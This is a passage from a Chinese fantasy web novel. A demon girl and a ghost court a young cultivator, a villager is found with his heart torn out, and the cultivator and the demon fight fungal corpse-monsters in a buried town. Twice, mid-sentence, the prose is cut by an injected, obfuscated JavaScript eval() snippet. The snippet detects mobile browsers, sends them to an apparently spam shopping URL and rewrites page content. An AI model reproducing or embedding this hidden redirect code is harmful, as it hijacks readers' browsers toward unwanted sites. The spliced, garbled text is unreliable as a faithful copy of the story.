简直比她生前吃过的所有药都还要苦,苦得她这只水鬼的腮帮子都抽筋了。 “我不喜欢吃苦。” 阿姮说道。 “……这天底下哪个又喜欢吃苦呢?” 霖娘一袖子捞来点水冲了冲嘴里的苦味,见阿姮将那瓷瓶推远了些,又从妆奁中抓出那宝珠在手中把玩,霖娘不由道:“那程仙长是个好人,他帮我爹,还有村邻治青骨病,你怎么能欺骗他呢?” “骗?” 阿姮一手撑着下巴,抬眸看向镜中霖娘淡淡的影子:“我为什么不能骗他?” “这珠子于你,可有什么用处?” 霖娘问她。 阿姮摇晃着宝珠中晶莹的流光,看它粼粼闪烁,便眯起双眼:“很漂亮,不是吗?” 她是妖邪,但却不是泥妖那种凭灵宝修得道行的妖怪,准确地来说,她与任何飞禽走兽,或是花草树木修成的妖怪都不同,她本在五行之外,无相无形,这宝珠对她一点用处也没有。 “……阿姮,你不是看上那程仙长了吗?既然如此,你该待他坦诚,你若不坦诚,又如何换他与你交心呢?”霖娘只觉这阿姮有时活像个刚出生不久的婴孩,才将将开始感知这个世界,举止毫无章法。 “交心?” 阿姮看着她。 “人与人之间相处,要坦诚才可交心,你若是一上来就又欺又骗,那程仙长必定对你印象极差,”霖娘苦口婆心,希望可以让她懂得一些做人的要领,“若这样下去,你想得到他的心,简直是做梦!” 阿姮听得一知半解,她想起那修士洁白严整的衣襟,她剖不开他的胸膛,甚至连一丝衣料也抓不破,揉不皱。 不能以最粗暴直接的手段获得那颗她想要的心,阿姮心中有些烦躁,但她仍问霖娘:“那你说,我要怎么做?” “首先,你得把这颗宝珠交给他。” 霖娘指了指她手中的东西,随后抬眼,透过铜镜看到身后竹床边放着的针线筐,那里头还放着一方她之前没绣完整的荷包,霖娘心中又有点泛酸,但她压了下来,又对阿姮道:“再绣一个荷包吧,一则,是因为你方才没及时将宝珠还给他,算是道歉,二则……女子是不轻易送荷包给男子的,这也是一份特殊的心意。” 阿姮顺着她的目光,回头看见那针线筐里的荷包,筐中五彩的绣线令阿姮眼睛微亮,她像个孩童似的,对于未知的事物总是充满好奇心,她十分利落地答应了下来。 但针线活非一日之功,阿姮起初还兴致勃勃,但随着霖娘这个教绣活的先生几次三番的批评,以及手指被针扎了好几下之后,阿姮一把扔开针线:“就用你那个。” 霖娘飞快将自己生前没绣好的荷包抓进怀中:“不行!都说了要坦诚,你要送自己的心意,你拿我的东西给他,还是在骗他。” 阿姮不喜欢她叽叽喳喳的,好在林氏进门送饭,霖娘便又露出凄哀的神色,望着林氏直流泪,也不说话了。 阿姮也看林氏。 她看林氏结痂的手,又看林氏的胸口,她依旧能敏锐地闻到林氏手上的一丁点血腥味,那味道是浑浊的。 林氏的血,便像是摆在阿姮面前的咸菜馒头,能吃,但令人食欲不振。 “晚上给你炖鸡吃。” 林氏不知她在想什么,轻声细语道。 鸡? 阿姮一下想起院子里撅着屁股活蹦乱跳的那些鸡们,林氏前几日也给她炖过一回,它们倒是真的很好吃,阿姮朝林氏笑了一下。 没再盯着她胸口看。 夜里阿姮果真吃上了山菇炖鸡,鲜得不得了,霖娘劝她不要半途而废,然而还没劝动,霖娘便不能维持人形,只得回到葫芦中,融入水里。 今夜有月,银白的光华铺了满窗,阿姮坐在窗边,一双赤足轻轻晃荡,她看着桌上乱七八糟的针线,心中想着,她没必要非那小神仙的心不可。 任何人的心都可以啊。 月华如练,阿姮悄然出门,她一路行过山路,连林中鸟兽蛰虫都未惊动,散碎的月华照见尽头一人行来,佝偻着腰身,嘴里念念:“捞鱼还得是夜里!这么多的鱼,我先回去炸一条小的当宵夜……要不再搞一壶酒?搞一壶好了,还挺馋那一口的……” 老鱼头已经习惯了自个儿走夜路碎碎念,一只手里挑着一只灯笼,另一只手提着木桶,身上扛着渔网,晃晃悠悠地往前走着,正心里美着呢,一个抬眼,脚下猛的一刹。 手中灯笼的光照不尽这漆黑的山径,前面淡薄的雾气缭绕,老鱼头定睛一看,在那片浮雾中发觉一道纤细的剪影。 老鱼头嘴唇颤了一下:“……谁,谁啊?” 但无人应答,他只见那影子穿梭浮雾,越来越近,昏暗的灯影里,那影子显露真容,老鱼头眼睛瞪大了一点:“霖娘?” 那年轻女子不应,却微笑看他。 老鱼头心脏狂跳,一下子丢开木桶,却摸遍了全身也没发现一张黄符,他额头冷汗直冒,村邻不信霖娘被掏心之说,可老鱼头却一直记得自己那夜看到的一切,虽然并没有看得太清楚,也不是太确定,但他面对如今这个霖娘,总是忍不住心慌发怵。 老鱼头见她穿雾而来,越逼越近,不由大喝一声:“你……你站那儿!” 女子却好似未闻,仍一步一步朝他走去。 月光更衬她脸色惨白,乌浓的长发散垂,经山风吹起,也不知是不是老鱼头的错觉,他总觉得她那双眼发红发暗,他吓得后退数步,干脆转身撒丫子跑:“啊啊啊救命啊!妖怪啊!” 没跑出几步,肩头的渔网滑下去,老鱼头猛地被绊倒,后颈磕在石头上,竟然眼白一翻,晕死过去了。 木桶倒了,里面的鱼全都落在地上,在尘土里挣扎翻滚。 阿姮绕过燃烧的灯笼,那簇火光擦过她的衣摆,她在老鱼头身前站定,见他双足被渔网缠住,四仰八叉地躺在地上,她嗅了嗅,果然闻到他身上的血腥气。 只不过那血腥混着鱼腥,难闻极了。 阿姮拧着眉,看到老鱼头手上的划痕,也许是摆弄渔网的时候弄的,伤口不深,几道布在手掌上,结了血红的痂。 老鱼头人虽晕了,可胸腔里那颗心脏仍惊魂未定,跳得乱七八糟。 她不是一定要那小神仙的心。 眼前这个现成的,不好吗? 她可以轻易抓破这个人的胸膛,取出一颗新鲜的,鲜红的心脏,趁着它还在跳动,塞进自己这副壳子空荡的心口,维持这副血肉饱满的模样。 阿姮神情寡淡,俯身之际,一只手探向老鱼头的胸口,他胸口的衣料立即被暗红的雾气灼烧出一个破口,人类的皮肤,人类的血肉更比这粗糙的衣料要脆弱。 只要她动动手指,只要她用力一抓…… 山径静谧,而无人声,才生的露水顺着草叶颤颤巍巍地滑落,阿姮就快接近老鱼头胸口的手忽然曲起指节,她一下撇过脸去,脸色有些勉强。 不行。 这个人像是被鱼腥味腌透了,本来他的血就难闻,混合着鱼腥味就更难闻。 会不会他的心脏也这么臭? 也一股臭鱼腥味? 霖娘在水中浮沉许久,方才凝出身形,便被暗红的雾气引出葫芦,她正不明所以,却一眼望见桌上摆着一只堪称破布拼接而成的东西,上面歪七扭八地绣着什么,霖娘觉得自己的眼睛受到了伤害,却也十分的惊讶,她忙回头去看阿姮,见她坐在窗边,那张脸神情竟然很臭。 “你还是做了?” 霖娘将那荷包拿起来,各色艳丽的布片被惨不忍睹的针脚拼接起来,就跟乞丐身上的补丁似的,丑得五花八门的,但霖娘飘到她跟前去,说:“你第一次缝制荷包,这已经,已经很好了……” 霖娘全然是昧着良心说这话的,阿姮却听不出,从她手中拿来荷包,道:“那我这就去找他。” “哎等等!” 霖娘赶紧拦住她:“要不,要不你还是再……练练手艺吧。” 这么个又丑又艳的东西,可谓是空前绝后,霖娘不敢想那程仙长看到这东西会是什么表情。 “不行,就这个了。” 阿姮才不要继续练什么手艺,她讨厌人类的这些手艺,她看着自己被针扎肿的手,抬袖将霖娘收回,这便出门去了。 村长家是整个黑水村最大的宅子,几进的院子,冷冷清清的,此时天还没亮透,老村长这两日身子不好,还没起,儿媳彩绳在院中剪枝。 忽闻一阵急促的步履声,彩绳抬眸,只见月洞门那边来了个男人,那是经常在村长家中做工的村邻,他手中扫帚还没丢下,近了便低低地唤了声:“彩绳姑娘。” “什么事?”彩绳眉峰未动,低眼去看松枝。 “那姓程的修士出去了。” 那男人立即说道。 “去哪了?” “看方向,是……”男人神情有些怪异,声音越压越低,“是西边。” 西边…… 彩绳一瞬抬眉,神色有些阴沉。 “真不知他到底是来救苦救难的,” 彩绳抬起手,锋利的剪子一开一合,发出咔擦的声音,“还是来找死的。” “彩绳,彩绳姑娘啊!” 这时,几名村邻气喘吁吁地跑了来,彩绳不知道这个早晨怎么会如此聒噪,她心里有些烦,但还是问道:“怎么了?” “老鱼头!” 一名村邻双手撑在膝上,喘着气道:“老鱼头死了!” 彩绳神色一凛:“你说什么?” 那村邻脸色煞白,满额是汗:“我家离老鱼头家最近,我昨儿晚上起夜,只在院子里一站,便看见对面老鱼头慌里慌张地往家跑,边跑还边滋哇乱叫,我连声喊他,他也跟没听见似的,只嚷嚷着霖娘是妖怪,要掏他的心,喝他的血……” “然后呢?” 彩绳问他道。 “我想着他是不是夜里捞鱼又喝了酒,”那那村邻抹了一把脸上的汗,“我大着胆子过去问了声,但他进了屋子也不开门,我只听见里面听铃哐啷地一阵响,像是他在找什么东西,一会儿才出来塞给我一兜子的黄符,让我夜里千万不要出门。” “被他这么神神叨叨的一说,我还真觉得有些瘆人,就赶紧回家睡去了,今天早上我起身,发现好些人在他院子里头,怎么敲他的门都不应,天色稍亮了点,大家伙儿才看到他门缝儿竟然沾着血……” 另一名村邻终于歇够了气,忙接过话道:“我今早本是去找他买鱼的,敲门敲了半天也不应,看到门缝沾的血,我们觉得不对,便将门给撞开了……彩绳姑娘,那满地都是血啊!” 彩绳眉头越拧越紧:“你们可看清楚了,他是怎么死的?” 几人回想那屋中惨状,脸色都更为煞白,一人抖着嘴唇,勉强发出声音:“是……被生生开了膛,掏了心。” 胸口那么大一个血窟窿,也不知道血液流了多久,从热到冷,从床上到地下,铺满了老鱼头简陋逼仄的屋子。 一人忽然激动道:“就像小有!小有也是被掏了心死的!” 唯一不同的是,小有的尸体不见了,留下的只有心脏,而老鱼头则是尸身尚在,心脏却不知哪里去了。 “不是说,不是说先前是那泥巴怪作祟吗?”一名村邻将恐惧都写在脸上,他颤颤巍巍道,“程仙长明明说他收服了那妖怪!那老鱼头……又是怎么回事!” 彩绳没有说话,神情却很是凝重。 人们的恐惧互相传染,那与老鱼头算是邻居的村人想起昨夜老鱼头看似疯癫的字字句句,脸颊肌肉微微抽动,他几乎可以听见自己心脏咚咚狂跳: “难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091478|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,难道……真是霖娘?” 山间薄雾笼罩,与幽竹深浅相映,程净竹独行其中,竹叶簌簌落了几片在他肩上,他抬眼一瞥淡雾绕竹,步履一顿。 身后传来踩过厚叶的步履声,程净竹转身,那女子一身艳丽衫裙全然与这山水墨画般的山野格格不入,见他转过身来,她便停在那里,不动了,却是对他一笑。 “你去哪里?” 阿姮问道。 程净竹却只是看着她:“阿姮姑娘有事?” 霖娘此时正在阿姮身侧,打眼见这白衣修士襟前仍挂一串水青宝珠,腰间系银质蛇尾法绳,数颗晶莹的珠子坠挂法绳上,每一颗都剔透极了。 他衣摆银纹祥云微泛月华,如同庙宇金殿中神佛之像,衣饰华美而神情庄严,霖娘再想到阿姮那丑绝人寰的破布荷包,不由满头生汗。 “有啊。”阿姮不知霖娘心事,几步走近程净竹。 程净竹眉峰微动,还未说些什么,便见阿姮攥着两个拳头对他道:“你伸手。” 程净竹看她那副笑眯眯的模样,片刻,倒也伸出两只手,掌心方才摊开,阿姮便将攥在手里的两样东西放到他手上。 左手,是一颗幽蓝的宝珠,珠中还有金色的流光隐隐闪烁。 右手,则是一个五颜六色的破布团儿。 程净竹似乎怔了一瞬。 阿姮负手,下巴轻抬:“都送你了。” 虽是这么说,但阿姮却忍不住又看了那珠子一眼,有点恋恋不舍似的。 程净竹目光凝在那幽蓝宝珠片刻,却复而看向另一只手中的破布团儿,他眉峰一挑,问道:“这是什么?” “……”霖娘扶额。 果然,这丑东西正常人都看不出是个什么玩意。 阿姮理直气壮道:“荷包。” 程净竹沉静的眸中似乎有一分不可思议,他再将那破布团儿端详了一番,见上面歪七扭八不知缝着什么,阿姮便伸出一根手指来指着那痕迹道:“他们说你姓程。” “……”霖娘在旁,面无表情地看着那根本像是被肢解得七零八落的“程”字,哪怕她知道这位程仙长并不知道她的存在,但作为阿姮的女工先生,她还是有点脸热。 程净竹并未对此字发表任何看法,他似乎垂眸凝视了阿姮那根扎着密密麻麻的针眼的手指一瞬,很清淡的一眼,随后他将荷包握入掌中,道:“多谢。” 竟然干净利落,没有半点推辞,霖娘眼睛一亮,但见这少年修士神色如常,她心中又不由暗叹,难道他这样的修行之人清修惯了,并不晓得荷包的隐晦用意? 阿姮见进展如此顺利,便觉自己被针扎了一夜的工夫没有白费,她微弯眼睛,却看向他襟前,以及腰间的宝珠银饰,不由道:“你明明有很多漂亮的东西,为什么还要这一颗呢?” 她的目光又落在他掌中那颗幽蓝的宝珠。 程净竹随之而看去,却问她:“你可知这是什么?” 阿姮想也不想:“是我见过的最漂亮的东西。” 阿姮所言非虚,这颗幽蓝的宝珠甚至比程净竹身上的饰物还要耀眼,它像是藏着一汪泉,倒映辰宿列张,流光百转,璨璨夺目。 程净竹握着那团破布荷包的手像是紧了一下,他眼中似乎并无涟漪,只是看她一眼,随后那宝珠从他掌中浮起,阿姮下意识地接住那珠子,抬头却见他转过身,言辞冷淡:“是你找到的,便是你的了。” 山风吹拂,他身形很快变得渺远。 “阿姮!快拦住他!” 霖娘望了一眼前面,才意识到此处是哪里,她脸色微变,忙对阿姮道:“前面便是旧镇!那里笼罩着连天的毒瘴,我们村人便有很多死在里面!” 彩绳在山神洞中讲的故事,阿姮并没有忘,她举目眺望,果然远处浓雾笼罩,连一分山廓也不得见,那雾气浑浊极了。 “原来是这儿。” 阿姮非但不出声叫住那小神仙,反倒缓步在他身后不近不远地跟着。 霖娘急得满头汗:“你就不担心他吸入毒瘴?那真是会死人的!” 阿姮仍无所动,此时一缕山风拂过她与霖娘之间,竟然掀动霖娘衣摆,竹叶沙沙作响,阿姮一瞬抬眸看向前方。 山风吹淡前路白雾,以无形锋利之势逼向那一道洁白的背影,阿姮立即抬手,浮雾聚拢若绵软层云。 劲风遇阻,陡然四散。 林中竹叶沙沙而动,程净竹步履一顿,垂眸看向轻飘飘落在他肩头的一枚细长碧绿的竹叶。 林中微风阴冷,细微的响动藏在其间,阿姮敏锐地嗅到那种混杂于风中的浑浊的,潮湿的气味。 他们蛰伏着,却忍不住露出獠牙。 发出饥肠辘辘之下,难耐的呜鸣。 霖娘浑身一抖,正不知这怪风是什么门道,却见阿姮猛然转身,她双眸闪烁暗红的光,林中微弱的哀鸣顷刻被打断。 淡雾中,数道惨白的影子忽露身形。 霖娘被他们扭曲的五官,裹满白色菌丝,犹有未化尽的血肉粘连骨架的身躯给吓得惊声尖叫:“啊啊啊鬼啊!” 阿姮莫名其妙地看向她。 霖娘这才意识到自己好像也是只鬼,她看见那些玩意摇头晃脑,奇形怪状,半是骷髅半是菌丝的嘴部不断流出粘稠液体,霖娘直觉,他们若还有眼珠子,那么眼珠子必定会飞出去,紧紧地粘在那少年修士的身上。 可他们在发抖。 是那种浑身骨架都在乱颤的瑟瑟发抖。 他们在恐惧。 霖娘知道,他们在惧怕她身边的阿姮。 但也许是因为太饿了,哪怕他们的身躯早烂得肠子肚子都没了,霖娘还是听见了此起彼伏的咕噜咕噜叫。 他们到底还是颤着骨头架子,纵声尖叫着飞身往那道白衣身影扑去—— 这一瞬,阿姮指节屈起,一团暗红的雾气被她握散。 几乎同时,那些怪物缠满菌丝,半是腐肉的身躯顷刻间化为齑粉。 山雾浮动,山风轻吹,那些粉尘散开,竟然是浓重的,菇类的味道。 “我再也不吃山菇了。” 阿姮说道。 “……他们,他们是山菇精?”霖娘声音颤抖。 “不是,是人类。” 阿姮的声音轻飘飘的:“是他们的尸体被菌菇享用了,然后菌菇跟他们融为一体,借着人类的气,成了精。” 但根在这里,他们出不了这片林子,因而养分不足,所以饥肠辘辘,嗅到那白衣修士满身清气,便馋得要死。 人菇而已,竟然也敢跟她抢猎物。 阿姮回过头,那少年修士不知何时驻足,或许因为他是人类之身,所以看起来并不像是听到了方才那些人菇的鬼哭狼嚎似的,只低眉在看手中的什么,阿姮提裙飞快走近,方才看清他双指捻着一枚纤薄锋利的竹叶。 那幽碧的颜色,更衬他指节苍白。 “小神仙。” 程净竹听见她的声音,随后便觉自己衣袖一紧,他低眼,只见那一双白皙纤细的手抓住他的袖口,他抬头,对上阿姮漆黑明亮的眼。 她神色似有些无措,更显那双眼盈盈如水:“我害怕,我们回去吧,去我家,我请你吃山菇炖……不,吃烧鸡。” 8.第8章 程净竹神色疏淡,略微抬手,从阿姮手中抽出衣袖,但阿姮的手却又飞快捏住他袖子边缘,俨然一副不肯撒手的模样。 林间雾浓,而光影幽微,程净竹再度抬眸,看向阿姮的脸,她拧着眉,似乎很害怕,但神情却又看不出紧张或不紧张,她没有瑟缩身体,而脸色如旧苍白。 “过了!太过了!” 霖娘在旁,看着阿姮紧抓着那少年修士的袖子不肯放,还往人家身边越靠越近,她便连忙发出指导的声音:“这个时候你别真往人家身上贴啊!你们又还不熟!要进退有度……” 她话音未落,白衣修士忽然抬眼看了过来,霖娘的声音戛然而止。另一边,阿姮亦颇感意外,紧接着心中不由生疑,难道……他可以看见霖娘? 但阿姮望向他,顺着他的目光,却是掠过霖娘,发觉林中竟雾气更浓,几乎快要淹没满林竹子的翠色。 这时,面前忽然伸来一只手,阿姮垂眸,只见修士双指间捻着一颗晶莹的,沾着白霜的东西,他的声音落来:“毒瘴已起,你吃了它,然后掩住口鼻。” 原来,他并未发现霖娘,而只是在看林间的毒瘴?阿姮这么想着,从他手中接来那漂亮的药丸,塞进嘴里。 她不喜欢苦的味道,所以吃进去便赶紧咽下,却又后知后觉在舌尖尝出一点不一样的味道,那不是苦味,而是像林氏此前做给她的红糖饼一样。 霖娘说,那是甜。 难道药不一定都是苦的? 阿姮吃了甜甜的药丸,又依照他的嘱咐,撕下来一半披帛做长巾,掩住口鼻,不一会儿工夫,这林间便已经被连天的瘴气笼罩,脚下连片竹叶都看不到,就像是踩在云端似的。 “此处还不是旧镇遗址,以前可出现过毒瘴外散的情况?” 程净竹问道。 阿姮哪里知道这些。霖娘哪怕是做了水鬼,也依旧对这毒瘴存有先天的恐惧,她瑟缩在阿姮身后,也许是方才无端对上过程净竹那双眼,哪怕心知他并非是真发现她,此时她声音也依旧压低了许多,只在阿姮耳边道:“毒瘴原本只盘桓在旧镇周围,只有每年清明,毒瘴才会往外扩散,整个西边,山山水水全都被裹在里头,以致于周遭鸟兽尽绝,村中人说,是旧镇中死去的人冤魂不散,一到清明,他们的怨气更重,使得毒瘴外散……” 霖娘越说,越抓紧阿姮的衣角:“阿姮,你快跟程仙长说,千万不要再往前了!快回去吧!” 阿姮听了个明白,却对面前这白衣修士道:“每年清明都这样,很正常。” “……不正常!到底哪里正常了!” 霖娘有点抓狂。 她大约猜到阿姮是对那藏在毒瘴深处的旧镇有了浓烈的好奇心,经过这些日子的相处,霖娘也已经见识过了阿姮的好奇心到底有多重,她只得深吸一口气,道:“你我自然是没什么所谓,可那地方活人进去了是出不来的,他也许会死的!” 其实对于阿姮而言,这小神仙死了也没什么,但她摸不准此人死后,她能不能顺利剖开他的胸膛,何况人死了,壳子多放几日便会坏,心也会烂,到时就没用了。 再者,阿姮还想知道,这小神仙既是一副凡人的躯壳,又是如何只身来到这与世隔绝的黑水村。 她想远离那座莫名压制她能力的神山,远离这了无生趣的黑水黑山。 阿姮的目光越过程净竹身后,遥望千重迷障,却道:“小神仙,回去吧。” 而程净竹则看向她身后:“回不去了。” 霖娘最先往后望去,果见毒瘴更加浓厚,而竹林竟然凭空消失,周遭没有风声,更没有风吹竹叶的沙沙声,安静极了。 那条来路,已经消失了。 霖娘走了几步,伸手在瘴气里胡乱抓了一把,果真没碰到任何竹子,她大惊失色:“这是怎么回事?!” 几乎是她话音才落,瘴中呜鸣渐起,那是人菇的声音,霖娘与阿姮此前见到的人菇声音很虚,那不是人类可以听得见的声音,然而此时这些声音此起彼伏,却是更实,更焦躁。 这绝对是人类的听觉也可以听得见的声音。 阿姮立即看向身边的人,他应该是听见了,一双眼正望向瘴中,仿佛在确定这些声音的方位,但阿姮在他脸上看不到与霖娘一般的神情,仿佛一丝慌张也没有。 他的眼睛,是不会流动的幽静之水。 阿姮听见人菇吸溜口水的声音,她知道这瘴气中正有许多双眼睛盯着这修士,那是一种昭然若揭的觊觎,阿姮拧了一下眉,却又偏偏不方便动手,便拉住程净竹的衣袖,往来时的方向走去。 霖娘紧随二人,但没几步路,她便觉得脚下踩的不像是坚实的土地,而变得软软的,粘粘的,还有点滑。 霖娘已经没有心了,但仍像是听见自己胸腔里“砰砰砰”的声音,像是鼓槌不遗余力地敲打着鼓面。 阿姮也停了下来,她抬起一只脚,看见自己脚底粘着一层毛茸茸的霉菌,周遭都是潮湿的,阴冷的怪味。 像是被掩埋了很久的,陈旧的东西,一朝暴露在太阳地里,而散发出来的味道。 阿姮右脚还未落地,这时,她左脚底下绵软的“路”忽然塌陷,她连带着程净竹与紧跟在后面的霖娘一齐掉了下去。 人菇的叫声更加兴奋,他们在迷障中现形,争先恐后地涌向地上那白中掺绿的霉菌结成的破口,肢缠肢,骨碰骨,他们谁也不肯让谁,都拼命地往洞里挤。 地洞之中更加阴冷,几乎看不到石壁原本的模样,全部覆盖着霉菌,浑浊的瘴气在里面幽幽浮浮,霖娘一只鬼砸下去根本轻飘飘的,她哪里都不疼,只是听见“咯吱咯吱”的声音,便立即往上面的洞口一望。 瘴气中也不知混杂着什么,竟然有幽微的光,霖娘一眼望见头顶洞口被残肢断骨给覆盖得严严实实,那些人菇身上的菌丝互相缠绕,互相攻击,零零散散的东西被挤得掉进洞里来,有的是他们的骨头,有的是他们身上的烂肉。 他们难耐地嘶吼,几个骷髅头“咔擦”转了一圈,扭曲着身形,黑洞洞的眼眶俯视着下面,或者说,是紧盯着那修士,森森的白骨里,流淌出粘稠的液体。 “啊啊啊!”霖娘尖叫着躲开。 那些液体滴落在她脚边。 阿姮臭着脸去摸生疼的屁股,却摸到了一把毛茸茸的霉菌,不止手上,她衣服上,甚至是散垂的发尾都沾染了这些东西。 但阿姮看了一眼一旁站起身来的少年修士,他衣袍竟然还是那么干净,一点霉菌不沾,在这样昏暗的洞中,更好似浑身裹了层极淡的,清莹的光。 他伸出手将阿姮扶起,见她浑身毛茸茸的,便从袖中取出一方帕子给她:“擦干净,否则皮肤会溃烂。” 阿姮一听“皮肤溃烂”,便立即接了来,赶紧掸掉手上,身上的霉菌,她可不想让这副脆弱的壳子这么快就烂掉。 “砰”的一声,重物落地,霉菌扑散开来。 原是那些人菇拥挤着,一起掉了下来,而他们的身体已在洞口相互交缠虬结成了一个巨大的球体。 无数个骷髅在当中嘶鸣,他们也许曾经是人,但如今已无法发出人类的声音,一颗眼球咕噜噜地滚落,却被一只枯瘦的,没有血肉,只剩点皮的手给抓起来,塞到白色菌丝缠成的嘴部,竟然就那么嘎吱嘎吱地大嚼特嚼起来。 霖娘吓得连叫也叫不出声了,竟然直接化为一缕烟雾回到阿姮腰间的葫芦中去了。 一颗眼球,不过饮鸩止渴,何况那本是他们自己的东西,人菇们口水越流越多,菌丝越长越多,他们暂时解不开交缠的肢体,便索性一个球,山呼海啸的,朝程净竹滚过去—— 阿姮掌中暗红的雾凝起,却听身边人道:“阿姮姑娘。” 她侧过脸。 也是此时,少年修士抬手抽出腰间那根银蛇尾法绳,珠玉碰撞出一阵清音,法绳飞出,顷刻化为银丝网将那巨型人菇球网住,银丝网瞬间收紧,金色的烈焰轰然连绵,此起彼伏的惨叫铺天盖地。 但仅仅只是一瞬,所有的声音戛然而止,巨型人菇球化为黑灰纷纷而落,残存的一簇金色烈焰映照他的眼睛,他将那双沉静的眼看向她:“不要怕。” 这明明是关切之语,可是阿姮感受不到其中的温度,就像他的眼睛始终冷漠,他的这句关切似乎也并不那么走心。 法绳回到他手中,就像他的人一样,法绳也是干干净净,被他收回腰间,仍那样凛凛泛光。 珠玉轻响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099902|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他道:“走吧。” 自然不是往回走,因为来路已绝,而今在这洞穴中,只有一条向前的路,阿姮没有说话,手中红雾悄无声息地散了,而此时少了霖娘,一路竟然安静极了。 阿姮仍作害怕的模样,硬拽着程净竹的衣袖,而他这回竟然也没有挣脱,洞中幽幽一道光线,似乎在一寸寸地引诱着他们向前。 这甬道很长,越往前走,霉菌越厚,白色的菌丝更是千丝万缕,阿姮明白过来,这洞似乎是人菇用霉菌,用菌丝凿出来的,他们的霉菌不但可以使人的皮肤溃烂,还可以腐蚀这地下的石头,粗壮的菌丝则破开土壤。 所以林中的那些人菇,并不是一开始就落根在那里,而是从这甬道的尽头探出根须,使根须生长蔓延出来,他们才得以落身在那里。 方才林中遮天蔽日的幻术,也应是人菇的杰作。 而他们最开始的来处,便在前方。 阿姮抬首,暗红的眼看向甬道尽头,昏暗的光线在那里聚成浑圆的光亮,犹如满月,身前那颀长的身影步履不疾不徐,阿姮不自禁地将目光挪到他宽阔的后背,背云轻压他的脊骨,他身高腿长,步履移动,背云垂下的宝珠便跟着微晃,牵动着宝珠尽头的淡色流苏轻抚过他洁净的衣摆。 阿姮回神,她与这少年修士站在浑如满月的光亮里,这正是甬道尽头,阿姮举目一望,简直是一个白色的世界。 白色的房屋鳞次栉比,大多扭曲变形,被上方的土石压得仅剩一点样子,断裂的,塌陷的街道,地面高低不平,全部都被粗壮的菌丝包裹着,菌丝成了新的街道,贯穿四方,竟让人一眼望不到头。 阿姮看了一眼阶梯底下,白色的霉菌毛茸茸一片,像是厚重的雪,看起来平坦而柔软。 这是被掩埋在土石之下的世界。 宛若一个小小王国的残垣。 浑浊的瘴气灌满这方世界,不知哪里的风吹向阿姮的面纱,她听见一阵突兀的呼吸声,那呼吸越来越粗重。 阿姮不由看向身边的修士。 他也听见这呼吸声,那双眼睛轻抬起来,越过千重瘴气,望向一间被土石挤压得一半粉碎,一半残存的房屋。 那似乎是一间庙宇。 其他的房屋因为底下的土层过度塌陷而低矮极了,只有那庙宇高高在上,雪白非常。 粗壮的菌丝缠裹着支撑着那庙宇,使它不至于坍塌,而门窗尽失的室内黑洞洞的,似乎正有一双眼睛,无声地窥视着他们。 “土地,你来了。” 那屋中,一道沧桑的声音难掩激动:“你来了!” 程净竹眉心微动,他看着那幽暗的庙门,附着庙宇的粗壮菌丝开始抽动,地面也随之而震颤。 那庙门中的呼吸声更加深重,他似乎很是费劲,庙中吱吱呀呀地响了好一阵,一道佝偻的,干瘦的身躯出现在门口。 瘴气里混杂的微光映照他的身躯,雪白的菌丝在高高的土堆畔缠成阶梯,他迈出一步,又一步,仿佛每一步,都有一股力道紧紧地拽着他的后背,要将他拽回庙里去。 但他用尽力气往前,那力道直接崩裂了他脚踝的皮肤,里面却没有血流出来,因为干燥发皱的一张皮底下,便是森然白骨。 他站立在菌丝做成的阶上,歇了口气,底下地面便不再震颤。 然而此时地面原本平整的霉菌已经塌陷,分裂,阿姮与程净竹面前阶下,尽是人的骷髅白骨,密密麻麻。 那像是个老人,因为他的皮肤又干又皱,他缓缓抬起头来,颈骨咯吱作响,他似乎在笑,笑得嘴边皮肤褶皱,一双眼睛蓦地盯住阿姮。 那笑骤然凝滞,脸颊的皮肤紧绷得像是随时都要裂开。 阿姮不明所以,程净竹抬手将她往后一带,可那怪异的老家伙一双阴冷的眼仍死死地盯住她:“你身上明明有土地的味道……但你不是土地!” 他抖落衣衫,白色的菌丝几乎蛀空了他的身躯,在他空荡的胸膛虬结成一个像心脏一样会跳动的白色物体,那东西长出的细密菌丝就像连接心脏的血管一样,从他后背穿出去,蔓延至他身后的那间庙宇。 白色的霉菌随瘴气漂浮,他嘶哑的声音死气沉沉: “你是谁?” 9.第9章 阿姮从程净竹身后探出头,看他胸膛中那颗白色心脏突突跳动,他老树皮似的皮囊松垮垮的,快挂不住他浑身的骨头,他已经不能称之为一个人了,亦非霖娘一般的鬼,他是外面那些人菇的根,是一个彻头彻尾的怪物。 阿姮拧起眉,撇过脸懒得多看他那副尊容一眼,却慢条斯理地勾住一缕发丝:“你又是谁?” 那老家伙双眼微眯,一只干瘪的手抬起来,白花花的霉菌朝阿姮与程净竹二人迎面飞去,几乎同时,阿姮与程净竹各退一边,霉菌从他二人中间飞入甬道里,不过一瞬,那站在雪白菌丝交缠而成的阶梯上的老人像是无声感知到了些什么,他眼角像是要裂开般,熊熊怒火陡燃:“你们杀了他们……全杀了……” “我好不容易送他们出去,我的心血……” 他的声音变得阴戾,抬起双臂:“我的徒子徒孙!” 雪白的,粗壮的菌丝从他双臂生出,飞快窜向甬道口的二人,阿姮往程净竹身后一躲,抬头之际,只见银色的法绳缠住那硕大的菌丝,法绳上晶莹的宝珠相互碰撞,发出清音,闪动淡金色的光泽,那光色点缀菌丝,生生将它定住。 他身上的宝珠,果然件件是法宝。 阿姮望向他侧脸,轻声细语:“小神仙,当心啊。” 